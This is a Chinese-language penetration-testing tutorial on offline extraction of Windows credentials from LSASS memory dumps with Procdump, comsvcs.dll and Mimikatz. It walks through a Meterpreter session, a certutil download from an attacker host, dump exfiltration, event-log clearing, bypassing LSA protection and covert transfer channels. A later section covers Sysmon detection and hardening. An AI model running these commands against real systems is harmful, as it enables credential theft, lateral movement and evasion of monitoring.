内网渗透中离线读取LSASS内存的攻防实践与原理剖析

发布时间:2026/7/21 11:42:28
内网渗透中离线读取LSASS内存的攻防实践与原理剖析 1. 项目概述为什么离线读取LSASS内存是内网渗透的关键一步在真实的内网渗透测试或安全评估中获取域内用户凭据往往是横向移动和权限提升的基石。而Windows系统的本地安全认证子系统服务也就是我们常说的lsass.exe进程就是这座“凭据金矿”的守护者。它负责处理Windows安全策略、用户登录认证并且会缓存多种类型的用户凭据例如NTLM哈希、Kerberos票据甚至在某些配置下会存留明文密码。因此直接攻击这个进程就成了渗透测试人员和安全研究人员绕不开的课题。然而在防守日益严密的今天直接在生产环境的机器上运行像Mimikatz这样的“神器”无异于在监控摄像头下跳舞。杀毒软件、EDR、终端防护系统对这类工具的敏感度极高实时内存扫描和进程注入检测使得在线读取的成功率大打折扣并且会留下明显的告警日志。这时“离线读取”的思路就凸显出其价值。它的核心思想是先以合法或隐蔽的方式获取lsass.exe进程的完整内存转储文件然后将这个“内存快照”转移到攻击者可控的分析环境中再进行细致的凭证提取工作。这样做的好处显而易见在目标机器上的操作时间极短动作更隐蔽避开了实时内存防护的锋芒并且可以在自己的沙箱里从容不迫地分析。“Mimikatz Procdump”正是实现这一思路的经典组合拳。Procdump是微软官方出品的命令行调试工具用它来创建进程转储文件行为相对“清白”被标记为恶意的概率远低于直接运行Mimikatz。而Mimikatz则扮演了“密码学手术刀”的角色专门用于解剖这个转储文件。这个组合在实战中历经考验是内网渗透知识体系中必须掌握的一环。接下来我将以一个实战者的视角为你拆解这套流程的每一个细节、背后的原理以及那些容易踩坑的地方。2. 核心思路与工具选型背后的考量2.1 为什么是Procdump合法工具的双刃剑选择Procdump作为内存转储工具绝非偶然。首先它是微软Sysinternals套件的一部分拥有微软的“官方签名”。在多数企业的应用白名单或行为基线中Sysinternals工具集通常被认为是合法的管理、诊断工具其网络下载流量和进程启动行为相较于未知EXE文件引发的警报级别要低得多。这为我们在目标系统上执行第一步操作提供了天然的“伪装”。其次Procdump功能强大且命令行操作极其灵活。我们需要的核心命令非常简单procdump.exe -ma PID lsass.dmp。这个-ma参数是关键它代表“生成一个完整的转储文件”包含了进程的所有可访问内存区域这对于后续提取完整的凭据信息是必须的。如果只做迷你转储很可能会丢失关键的凭据数据结构。注意尽管Procdump有“合法外衣”但高级别的EDR终端检测与响应产品已经将“使用Procdump转储lsass进程内存”这一行为序列纳入了威胁检测规则库。因此这并非万无一失的“隐身术”而是一种降低被发现概率的“伪装术”。在高度敏感的环境中直接使用可能仍会触发告警。2.2 Mimikatz的角色从内存镜像中提炼凭证如果说Procdump是“拍照取证”那么Mimikatz就是“实验室化验”。它不直接在目标机器上与lsass进程交互而是读取那个转储文件.dmp。Mimikatz内部实现了对Windows认证体系如MSV1_0、Kerberos、WDigest、TSPKG等的深刻理解能够解析内存中特定数据结构定位并提取出缓存的凭据。离线分析模式sekurlsa::minidump是它的核心功能之一。这种模式下Mimikatz会加载转储文件模拟一个内存环境然后调用其内置的解析模块来提取信息。由于脱离了真实的操作系统环境它无法获取到某些受LSA保护LSA Protection或凭据守护进程Credential Guard保护的机密但对于常规环境下缓存的哈希和票据成功率非常高。2.3 整体攻击链拆解一次完整的离线读取操作可以清晰地分为三个阶段理解每个阶段的目标和风险对于实战至关重要信息搜集与权限准备阶段这不是简单的“运行命令”。你需要先获取目标系统的交互式Shell例如通过漏洞利用、钓鱼获取的初始立足点并确认当前权限。理想情况下需要管理员权限因为读取lsass进程内存需要SeDebugPrivilege特权而该特权通常只授予管理员用户。你需要使用whoami /priv或whoami /groups命令来确认。现场转储与文件提取阶段在目标机器上使用Procdump或其他替代工具创建lsass.dmp文件。然后你需要将这个可能上百MB甚至更大的文件从目标机器传输到你的攻击机。这一步涉及网络传输是另一个可能暴露的环节。离线分析与凭证利用阶段在攻击机的分析环境通常是虚拟机或隔离环境中使用Mimikatz加载dmp文件进行解析。提取出的NTLM哈希可以用于Pass-The-Hash攻击票据可以用于Pass-The-Ticket攻击从而实现横向移动。3. 实战操作流程详解3.1 阶段一环境准备与权限确认假设我们已经通过某种方式如MS17-010漏洞利用获取了一台Windows服务器192.168.1.10的System权限的Meterpreter会话。这是比较理想的起点。首先我们需要确认权限和目标进程信息。在Meterpreter会话中我们可以迁移到一个稳定的进程如explorer.exe然后获取系统信息。meterpreter getuid Server username: NT AUTHORITY\SYSTEM meterpreter sysinfo Computer : WIN-7J2J8Q6K1A1 OS : Windows 2012 R2 (6.3 Build 9600). Architecture : x64System权限已经具备了SeDebugPrivilege无需额外提权。接下来需要找到lsass.exe的进程IDPID。有多种方法meterpreter ps | findstr lsass Filtering on lsass 108 652 lsass.exe x64 0 NT AUTHORITY\SYSTEM C:\Windows\System32\lsass.exe这里我们看到lsass.exe的PID是652。记下这个PID。3.2 阶段二上传Procdump与执行转储我们需要将Procdump的可执行文件上传到目标机器。通常选择64位版本procdump64.exe以适应64位系统。为了避免被静态查杀可以对Procdump进行简单的混淆或使用自定义编译的版本但这里我们以原版为例。在攻击机Kali上启动一个简单的HTTP服务用于托管工具python3 -m http.server 8080在Meterpreter会话中切换到可写目录如C:\Windows\Temp然后下载Procdumpmeterpreter cd C:\\Windows\\Temp meterpreter upload /usr/share/windows-resources/procdump/procdump64.exe .或者使用PowerShell或certutil进行远程下载如果目标机器能出网meterpreter shell C:\Windows\Temp certutil -urlcache -split -f http://192.168.1.100:8080/procdump64.exe procdump64.exe上传/下载完成后执行转储命令C:\Windows\Temp procdump64.exe -accepteula -ma 652 lsass.dmp ProcDump v10.0 - Sysinternals process dump utility Copyright (C) 2009-2020 Mark Russinovich and Andrew Richards Sysinternals - www.sysinternals.com [10:23:45] Dump 1 initiated: C:\Windows\Temp\lsass.dmp [10:23:46] Dump 1 writing: Estimated dump file size is 342 MB. [10:23:48] Dump 1 complete: 342 MB written in 2.4 seconds [10:23:48] Dump count reached.-accepteula参数用于自动接受许可协议避免交互式提示。转储完成后会在当前目录生成一个名为lsass.dmp的文件大小取决于系统内存使用情况。3.3 阶段三转储文件提取与清理痕迹现在我们需要将这个dmp文件取回。使用Meterpreter的download命令meterpreter download C:\\Windows\\Temp\\lsass.dmp /root/Desktop/lsass.dmp为了减少痕迹最好删除目标机器上的工具和转储文件meterpreter del procdump64.exe meterpreter del lsass.dmp meterpreter clearev # 清除事件日志需要相应权限实操心得clearev命令并不总是能彻底清除所有日志特别是如果目标部署了SIEM安全信息和事件管理系统日志可能已被实时转发。因此动作越快、越安静越好。另外转储操作本身可能会在系统日志如Security或Sysmon中留下事件ID为4688进程创建或10进程访问的记录。在高级别对抗中需要结合其他手段进行日志干扰或绕过。3.4 阶段四离线分析与凭证提取将lsass.dmp文件转移到你的分析环境如一台Windows分析虚拟机。在该环境中准备好Mimikatz。同样建议在隔离环境中操作避免安全软件干扰。以管理员身份运行命令行切换到Mimikatz目录开始分析C:\Tools\Mimikatz mimikatz.exe .#####. mimikatz 2.2.0 (x64) #19041 Sep 19 2020 19:01:22 .## ^ ##. A La Vie, A LAmour - (oe.eo) ## / \ ## /*** Benjamin DELPY gentilkiwi ( benjamingentilkiwi.com ) ## \ / ## https://blog.gentilkiwi.com/mimikatz ## v ## Vincent LE TOUX ( vincent.letouxgmail.com ) ##### https://pingcastle.com / https://mysmartlogon.com ***/ mimikatz # sekurlsa::minidump lsass.dmp Switch to MINIDUMP : lsass.dmp mimikatz # sekurlsa::logonpasswords执行sekurlsa::logonpasswords命令后Mimikatz会开始解析转储文件并输出所有它能提取到的凭据信息。输出内容非常丰富是分析的重点Authentication Id : 0 ; 996 (00000000:000003e4) Session : Service from 0 User Name : WIN-7J2J8Q6K1A1$ Domain : WORKGROUP Logon Server : (null) Logon Time : 2023/10/27 8:01:23 SID : S-1-5-20 msv : [00000003] Primary * Username : WIN-7J2J8Q6K1A1$ * Domain : WORKGROUP * NTLM : 31d6cfe0d16ae931b73c59d7e0c089c0 * SHA1 : da39a3ee5e6b4b0d3255bfef95601890afd80709 tspkg : wdigest : * Username : WIN-7J2J8Q6K1A1$ * Domain : WORKGROUP * Password : (null) kerberos : * Username : WIN-7J2J8Q6K1A1$ * Domain : WORKGROUP * Password : (null) ssp : credman : Authentication Id : 0 ; 339852 (00000000:00052f8c) Session : Interactive from 1 User Name : Administrator Domain : CORP Logon Server : DC01 Logon Time : 2023/10/27 9:15:41 SID : S-1-5-21-3874928736-367528746-1298337461-500 msv : [00000003] Primary * Username : Administrator * Domain : CORP * NTLM : 64f12cddaa88057e06a81b54e73b949b * SHA1 : 4412c4b8c0b2b5e0b2f5c5e6f7a8b9c0d1e2f3a4 tspkg : wdigest : * Username : Administrator * Domain : CORP * Password : MyStrongPassword123! # 注意这里可能提取到明文密码 kerberos : * Username : administrator * Domain : CORP.LOCAL * Password : (null) * Key List : aes256_hmac 4096d2f1e4f6a89b4c3d7e8f9a0b1c2d3e4f5a6b7c8d9e0f1a2b3c4d5e6f7a8b9 aes128_hmac 7890a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8 des_cbc_md5 56c78d9e0f1a2b3c ssp : credman :这是最激动人心的时刻。从输出中我们可以获得NTLM哈希例如Administrator的NTLM哈希64f12cddaa88057e06a81b54e73b949b。这是进行Pass-The-Hash攻击的“钥匙”。明文密码如果系统启用了WDigest认证在Windows 8.1/Server 2012 R2之前默认启用或之后通过修改注册表启用这里可能会直接显示Password字段。上例中我们幸运地看到了MyStrongPassword123!。Kerberos密钥AES256和AES128密钥可用于生成银票或进行Kerberos相关攻击。其他信息登录会话、用户、域、登录时间等对于梳理内网用户关系和活动时间线非常有帮助。4. 深度解析Mimikatz提取凭据的原理与限制4.1 内存中的凭据是如何存储的要理解Mimikatz为何能成功需要简单了解LSASS进程的内存布局。当用户交互式登录或进行网络认证时LSASS会调用不同的安全支持提供程序SSP如MSV1_0NTLM、Kerberos、WDigest等。这些SSP会在内存中创建对应的数据结构来缓存认证信息。例如MSV1_0 SSP会缓存用户的LM/NTLM哈希。WDigest SSP在特定条件下会缓存明文密码。Kerberos SSP会缓存票据授予票据TGT和服务票据ST以及用于加密这些票据的长期密钥即AES密钥或RC4密钥后者对应NTLM哈希。这些数据结构通过链表、指针等方式在LSASS进程的堆内存中相互关联。Mimikatz的sekurlsa模块代表SEcurity Kernel Local Security Authority本质上是一个“内存扫描器”。它通过已知的Windows内部函数签名、数据结构偏移量在LSASS进程的内存空间或我们提供的转储文件镜像中定位这些SSP的上下文结构。一旦找到它就能按照该结构的定义提取出对应的凭据字段。4.2 现代Windows系统的防护与绕过思路随着Windows安全性的提升直接读取LSASS内存变得越来越困难。主要的防护机制包括LSA保护RunAsPPL将lsass.exe进程标记为受保护的进程Protected Process Light, PPL阻止非受信任的进程如非微软签名的调试器对其进行打开、注入或读取内存操作。使用Procdump转储一个受PPL保护的lsass进程会收到“访问被拒绝”的错误。凭据守护进程Credential Guard在支持虚拟化安全的系统上Credential Guard利用基于虚拟化的安全VBS将密钥、哈希等敏感凭据隔离到一个安全的、操作系统无法直接访问的容器中。LSASS进程内只保留一个“影子”副本或引用真正的凭据无法通过常规内存读取获得。这是目前最强的防护之一。Windows Defender Credential Guard / ATP集成了行为检测对试图访问lsass内存的特定API调用序列进行监控和告警。面对这些防护攻击技术也在进化针对LSA保护PPL利用驱动程序加载一个具有SeDebugPrivilege和SeLoadDriverPrivilege权限的签名驱动通过驱动直接读写内核内存绕过用户层的PPL限制。Mimikatz的mimidrv组件就是为此设计的。利用漏洞寻找并利用能够关闭PPL标志或提升进程权限的漏洞CVE。例如一些旧的漏洞可以用于降级PPL进程。其他转储工具使用如SQLDumper.exe微软SQL Server组件、AvDump.exe某些杀软组件等具有微软签名且能转储进程的合法工具有时可以绕过PPL限制因为PPL信任微软签名的二进制文件。针对Credential Guard难度极大。通常的思路是攻击Credential Guard的启用流程如组策略、尝试禁用Hyper-V/VBS或者寻找隔离环境外的凭据泄露点如DPAPI备份密钥、缓存的域凭据等。在Credential Guard启用的情况下离线转储lsass通常无法获得NTLM哈希或明文密码但可能仍能获得一些会话票据。重要提示在实战中遇到防护是常态。第一步永远是信息收集检查目标系统是否启用了这些防护。可以通过以下命令快速判断# 检查LSA保护 (PPL) reg query HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v RunAsPPL # 如果返回 0x1则表示已启用。 # 检查Credential Guard (基于系统信息) systeminfo | findstr /i Virtualization-based security # 或者检查相关服务 sc query lsaiso # 如果lsaiso服务存在且正在运行则Credential Guard很可能已启用。5. 进阶技巧与替代方案5.1 除了Procdump还有哪些“搬运工”Procdump并非唯一选择。了解替代方案可以增加攻击的灵活性以应对不同的环境检测策略。任务管理器手动在具有图形界面的系统上打开任务管理器 - 找到lsass.exe - 右键“创建转储文件”。这是最“白”的方式但需要图形界面和交互操作不适合自动化或隐蔽攻击。PowerShell使用Out-Minidump来自PowerSploit的Invoke-Mimikatz模块或Get-Process结合CreateDumpAPI。PowerShell脚本灵活但可能受执行策略限制且行为特征明显。COM对象通过System.Diagnostics.Process类或WMI来创建转储。例如使用rundll32调用comsvcs.dll的MiniDump函数rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump PID C:\temp\lsass.dmp full这条命令非常隐蔽因为它利用了系统自带的DLL没有额外的可执行文件落地被许多攻击者所青睐。其他Sysinternals工具如procexp.exeProcess Explorer的图形界面也可以创建转储。定制化工具自己编写C/C程序调用MiniDumpWriteDumpAPI。这种方式最隐蔽可以自定义所有行为但需要一定的开发能力。5.2 转储文件的传输与隐蔽一个几百MB的dmp文件通过网络传输流量特征明显。如何隐蔽压缩在目标机器上先用rar.exe或7z.exe如果存在或可上传对dmp文件进行高强度压缩可以显著减小体积。分片将大文件分割成多个小文件传输降低单次传输的异常性。加密与隐写对文件进行加密后传输避免内容被网络层设备检测。或者将其嵌入到正常的图片、文档文件中隐写术。使用隐蔽信道利用DNS隧道、ICMP隧道、HTTP/S隧道混合在正常Web流量中等方式传输数据。延迟传输如果时间不紧迫可以将文件暂存在目标机器上等待合适时机如下班后的网络低峰期再传输。5.3 Mimikatz的进阶用法除了sekurlsa::logonpasswordsMimikatz在离线模式下还有其他强大命令sekurlsa::tickets /export导出所有找到的Kerberos票据.kirbi文件用于后续的票据传递攻击。sekurlsa::ekeys提取所有的加密密钥Kerberos密钥。sekurlsa::pth虽然通常用于在线传递哈希但其原理也展示了如何利用哈希重新构建认证令牌。lsadump::secrets这个模块主要用于在线从注册表中提取LSA Secrets但在某些特定配置的离线转储中如果转储包含了足够的注册表内存区域也可能提取到一些信息不过成功率不如在线模式。6. 防御视角如何检测和防范此类攻击作为一名安全从业者了解攻击是为了更好的防御。从防守方来看如何发现和阻止这种离线读取LSASS内存的攻击呢启用高级防护功能强制启用LSA保护通过组策略计算机配置 - 管理模板 - 系统 - 本地安全机构 - 启用 LSA保护或设置注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa下的RunAsPPL为1。启用Credential Guard对于支持VBS的Windows 10/11和Server 2016在组策略中启用“基于虚拟化的安全”和“Credential Guard”。这是目前最有效的防御手段。启用Windows Defender攻击面减少规则其中包含“阻止从Windows本地安全机构子系统窃取凭据”的规则可以阻断许多已知的凭据转储技术。强化监控与检测部署Sysmon并配置精细规则Sysmon可以记录进程创建、文件创建、网络连接等。关键规则包括Event ID 1, Process creation监控procdump.exe、rundll32.exe comsvcs.dll、powershell.exe等可疑命令行参数。Event ID 10, ProcessAccess监控对lsass.exe进程的PROCESS_VM_READ访问请求。这是检测内存读取行为的关键。Event ID 11, FileCreate监控在临时目录或异常路径创建.dmp文件。配置Windows安全审计启用“审核进程创建”和“审核对象访问”针对进程并在高级安全审核策略中细化对lsass.exe的访问审计。使用EDR/终端防护现代EDR产品具备行为检测能力能够识别“进程转储”、“凭证访问”等恶意行为序列并及时告警或阻断。实施最小权限原则严格限制拥有本地管理员权限和SeDebugPrivilege特权的账户数量。对于服务器和工作站实施“仅允许授权用户登录”的策略。定期更新与打补丁及时安装系统更新修补可能被用于绕过PPL或执行内核级攻击的漏洞。7. 常见问题与排查实录在实际操作中你可能会遇到各种各样的问题。这里记录了一些典型场景和解决思路。7.1 问题一使用Procdump转储时提示“Access is denied”可能原因及解决方案权限不足当前进程没有SeDebugPrivilege特权。即使你是管理员在某些情况下如从某些服务上下文或受限的PowerShell会话运行该特权也可能被禁用。排查在命令行运行whoami /priv查看SeDebugPrivilege是否显示为“已启用”。如果是“已禁用”你需要启用它。在Mimikatz中可以用privilege::debug命令在普通CMD/PowerShell中可以尝试以管理员身份重新运行。LSA保护PPL已启用这是最常见的原因。Procdump无法直接访问受PPL保护的进程。排查检查注册表HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL。解决尝试使用带有签名的驱动方法如Mimikatz的!processprotect去除保护后再转储或使用其他可绕过PPL的转储方法如comsvcs.dll的MiniDump在某些条件下可能有效或使用其他合法的微软签名调试工具。7.2 问题二Mimikatz加载dmp文件后sekurlsa::logonpasswords输出为空或只有系统账户信息可能原因及解决方案转储文件不完整或损坏Procdump命令可能被中断或者使用了不正确的参数如没用-ma。解决确保使用-ma参数生成完整转储并确认转储文件大小合理通常至少几十MB。系统启用了Credential Guard这是最可能的原因。Credential Guard下真正的凭据不在LSASS的可访问内存中。排查检查系统是否启用了Credential Guard方法见上文。解决在这种情况下离线转储lsass基本无效。需要转向其他攻击面如横向移动寻找未受保护的系统、攻击域控制器、或利用其他凭据缓存如浏览器、RDP连接管理器等。Mimikatz版本与系统不匹配旧版本的Mimikatz可能无法正确解析新版本Windows如Windows 11 22H2的内存结构。解决尝试使用最新版本的Mimikatz或者从官方GitHub仓库获取针对特定Windows版本编译的版本。WDigest未启用明文缓存在较新的Windows系统上WDigest默认禁用因此不会缓存明文密码。你只能看到哈希。解决关注NTLM哈希和Kerberos密钥它们同样可用于横向移动。明文密码只是“锦上添花”。7.3 问题三提取出的NTLM哈希无法用于Pass-The-Hash可能原因及解决方案目标系统限制了NTLM认证域策略可能限制了NTLM的使用强制使用Kerberos认证。排查尝试使用crackmapexec或smbclient等工具用哈希连接时观察错误信息。解决转而使用Kerberos票据攻击Pass-The-Ticket。使用Mimikatz的sekurlsa::tickets /export导出票据然后用kerberos::ptt注入到当前会话。账户被禁用或锁定提取哈希的账户可能已被管理员禁用或由于多次失败尝试被锁定。排查尝试用该账户的哈希访问其他已知正常的服务或检查域控事件日志。哈希类型问题确保你使用的是NTLM哈希通常是32位十六进制字符串而不是LM哈希或其他。7.4 问题四操作过程中触发了安全告警事后处置建议立即停止所有操作如果怀疑已被发现继续操作会扩大痕迹。清理痕迹如果可能删除上传的工具、生成的转储文件、以及任何临时文件。使用clearev命令清除本地事件日志但需知这可能无效。切换攻击路径如果当前入口点可能已暴露尝试使用已获取的凭据通过其他协议如WMI、WinRM、SMB从其他跳板机发起新的连接放弃当前已被监控的会话。分析告警原因回顾操作步骤是Procdump的命令行特征被检测了还是访问lsass进程的行为被Sysmon记录了或者是文件传输的流量异常这有助于你调整后续的攻击手法。整个“离线读取LSASS内存”的过程是一场在攻防博弈中寻找缝隙的艺术。它要求攻击者对Windows安全子系统有深入的理解对防守方的监控策略有清晰的认知并且具备灵活变通的能力。从简单的ProcdumpMimikatz到对抗PPL、Credential Guard技术在不断演进。对于防御者而言仅仅知道攻击方法是不够的必须层层设防从启用高级安全功能、强化监控到实施最小权限构建纵深防御体系才能有效保护内网中这座最重要的“凭据金矿”。而对于渗透测试人员和安全研究者掌握其原理、熟练其操作、知晓其局限则是开展有效安全评估的必备技能。每一次成功的提取或成功的拦截都是对自身技术理解的又一次深化。